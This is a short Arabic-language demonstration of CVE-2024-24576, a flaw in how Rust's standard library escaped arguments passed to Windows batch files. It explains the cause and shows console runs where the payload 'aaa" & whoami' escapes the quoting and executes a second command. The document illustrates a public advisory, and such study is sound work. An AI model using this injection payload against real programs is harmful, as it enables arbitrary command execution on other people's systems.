
مثال على حالة استخدام CVE-2024-24576.
توثيق واجهات Command::arg و Command::args ينص على أن الوسائط سيتم تمريرها إلى العملية التي يتم تشغيلها كما هي، بغض النظر عن محتوى الوسائط، ولن يتم تقييمها بواسطة شل. هذا يعني أنه يجب أن يكون آمنًا تمرير إدخالات غير موثوقة كوسيطة.
على نظام ويندوز، يكون تنفيذ هذه الوظيفة أكثر تعقيدًا من المنصات الأخرى، لأن واجهة برمجة تطبيقات ويندوز توفر فقط سلسلة نصية واحدة تحتوي على جميع الوسائط للعملية التي يتم تشغيلها، ويعود الأمر لتلك العملية لتقسيمها. معظم البرامج تستخدم مكتبة argv القياسية للغة C، والتي تؤدي في الممارسة العملية إلى طريقة متسقة إلى حد كبير لتقسيم الوسائط.
إلا أن هناك استثناء واحد هو cmd.exe (المستخدم من بين أشياء أخرى لتنفيذ ملفات الدفعات)، والذي لديه منطق تقسيم الوسائط الخاص به. مما أجبر المكتبة القياسية على تنفيذ عمليات هروب مخصصة للوسائط الممررة إلى ملفات الدفعات. لسوء الحظ، تم الإبلاغ أن منطق الهروب لدينا لم يكن كافيًا، وكان من الممكن تمرير وسائط ضارة تؤدي إلى تنفيذ شل تعسفي.
تشغيل ملف main.rs مع الحمولات التالية يعطي:
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
لاحظ الوسيطة المُهربة مع الـ " whoami
ليس اكتشافي!